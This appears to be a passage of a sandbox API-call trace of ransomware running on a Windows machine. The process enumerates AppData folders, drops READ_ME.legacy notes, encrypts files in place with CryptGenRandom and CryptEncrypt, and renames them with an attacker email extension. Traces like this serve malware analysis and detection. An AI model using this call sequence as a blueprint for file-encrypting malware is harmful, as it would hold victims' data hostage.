lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f732f0 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] GetLastError () returned 0x12 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] SetLastError (dwErrCode=0x12) [0181.955] FindNextFileW (in: hFindFile=0x2f732f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] GetLastError () returned 0x12 [0181.956] SetLastError (dwErrCode=0x12) [0181.956] SetLastError (dwErrCode=0x12) [0181.956] FindNextFileW (in: hFindFile=0x2f732f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.956] SetLastError (dwErrCode=0x12) [0181.956] GetLastError () returned 0x12 [0181.956] SetLastError (dwErrCode=0x12) [0181.956] SetLastError (dwErrCode=0x12) [0181.956] FindNextFileW (in: hFindFile=0x2f732f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.956] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73170 [0181.957] SetLastError (dwErrCode=0x12) [0181.957] GetLastError () returned 0x12 [0181.957] SetLastError (dwErrCode=0x12) [0181.957] SetLastError (dwErrCode=0x12) [0181.957] FindNextFileW (in: hFindFile=0x2f73170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.957] SetLastError (dwErrCode=0x12) [0181.957] GetLastError () returned 0x12 [0181.957] SetLastError (dwErrCode=0x12) [0181.957] SetLastError (dwErrCode=0x12) [0181.957] FindNextFileW (in: hFindFile=0x2f73170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.957] SetLastError (dwErrCode=0x12) [0181.958] GetLastError () returned 0x12 [0181.958] SetLastError (dwErrCode=0x12) [0181.958] SetLastError (dwErrCode=0x12) [0181.958] FindNextFileW (in: hFindFile=0x2f73170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.958] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73330 [0181.958] SetLastError (dwErrCode=0x12) [0181.958] GetLastError () returned 0x12 [0181.958] SetLastError (dwErrCode=0x12) [0181.958] SetLastError (dwErrCode=0x12) [0181.958] FindNextFileW (in: hFindFile=0x2f73330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.958] SetLastError (dwErrCode=0x12) [0181.958] GetLastError () returned 0x12 [0181.958] SetLastError (dwErrCode=0x12) [0181.958] SetLastError (dwErrCode=0x12) [0181.958] FindNextFileW (in: hFindFile=0x2f73330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.958] SetLastError (dwErrCode=0x12) [0181.958] GetLastError () returned 0x12 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] SetLastError (dwErrCode=0x12) [0181.959] FindNextFileW (in: hFindFile=0x2f73330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.959] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7adf09ae, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f733b0 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] GetLastError () returned 0x12 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] GetLastError () returned 0x12 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] FindNextFileW (in: hFindFile=0x2f733b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7adf09ae, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] GetLastError () returned 0x12 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] GetLastError () returned 0x12 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] FindNextFileW (in: hFindFile=0x2f733b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf92a3004, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.959] SetLastError (dwErrCode=0x12) [0181.959] GetLastError () returned 0x12 [0181.960] SetLastError (dwErrCode=0x12) [0181.960] SetLastError (dwErrCode=0x12) [0181.960] FindNextFileW (in: hFindFile=0x2f733b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf92a3004, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.960] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf92ef2d3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73730 [0181.960] SetLastError (dwErrCode=0x12) [0181.960] SetLastError (dwErrCode=0x12) [0181.960] GetLastError () returned 0x12 [0181.960] SetLastError (dwErrCode=0x12) [0181.960] FindNextFileW (in: hFindFile=0x2f73730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf92ef2d3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.960] SetLastError (dwErrCode=0x12) [0181.960] SetLastError (dwErrCode=0x12) [0181.960] GetLastError () returned 0x12 [0181.960] SetLastError (dwErrCode=0x12) [0181.960] FindNextFileW (in: hFindFile=0x2f73730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0181.960] SetLastError (dwErrCode=0x12) [0181.960] SetLastError (dwErrCode=0x12) [0181.961] SetLastError (dwErrCode=0x12) [0181.961] FindNextFileW (in: hFindFile=0x2f73730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0181.961] SetLastError (dwErrCode=0x12) [0181.961] SetLastError (dwErrCode=0x12) [0181.961] SetLastError (dwErrCode=0x12) [0181.961] FindNextFileW (in: hFindFile=0x2f73730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92ef2d3, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf92ef2d3, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf92ef2d3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.961] SetLastError (dwErrCode=0x12) [0181.961] SetLastError (dwErrCode=0x12) [0181.961] GetLastError () returned 0x12 [0181.961] SetLastError (dwErrCode=0x12) [0181.961] FindNextFileW (in: hFindFile=0x2f73730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92ef2d3, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf92ef2d3, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf92ef2d3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.961] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", dwFileAttributes=0x80) returned 1 [0181.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b44 [0181.962] GetFileSizeEx (in: hFile=0x1b44, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=425) returned 1 [0181.962] ReadFile (in: hFile=0x1b44, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a9, lpOverlapped=0x0) returned 1 [0181.963] SetFilePointer (in: hFile=0x1b44, lDistanceToMove=-425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.963] WriteFile (in: hFile=0x1b44, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a9, lpOverlapped=0x0) returned 1 [0181.963] SetFilePointer (in: hFile=0x1b44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a9 [0181.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.964] WriteFile (in: hFile=0x1b44, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.966] WriteFile (in: hFile=0x1b44, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.967] CloseHandle (hObject=0x1b44) returned 1 [0181.968] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.970] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", dwFileAttributes=0x80) returned 1 [0181.971] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b44 [0181.971] GetFileSizeEx (in: hFile=0x1b44, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=637) returned 1 [0181.971] ReadFile (in: hFile=0x1b44, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x27d, lpOverlapped=0x0) returned 1 [0181.974] SetFilePointer (in: hFile=0x1b44, lDistanceToMove=-637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.975] WriteFile (in: hFile=0x1b44, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x27d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x27d, lpOverlapped=0x0) returned 1 [0181.975] SetFilePointer (in: hFile=0x1b44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x27d [0181.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.975] WriteFile (in: hFile=0x1b44, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.975] WriteFile (in: hFile=0x1b44, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.975] CloseHandle (hObject=0x1b44) returned 1 [0181.976] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.982] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f736f0 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] GetLastError () returned 0x0 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] GetLastError () returned 0x0 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] FindNextFileW (in: hFindFile=0x2f736f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] GetLastError () returned 0x0 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] GetLastError () returned 0x0 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] FindNextFileW (in: hFindFile=0x2f736f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0181.983] SetLastError (dwErrCode=0x0) [0181.983] GetLastError () returned 0x0 [0181.983] SetLastError (dwErrCode=0x0) [0181.984] SetLastError (dwErrCode=0x0) [0181.984] SetLastError (dwErrCode=0x0) [0181.984] GetLastError () returned 0x0 [0181.984] SetLastError (dwErrCode=0x0) [0181.984] GetLastError () returned 0x0 [0181.984] SetLastError (dwErrCode=0x0) [0181.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash 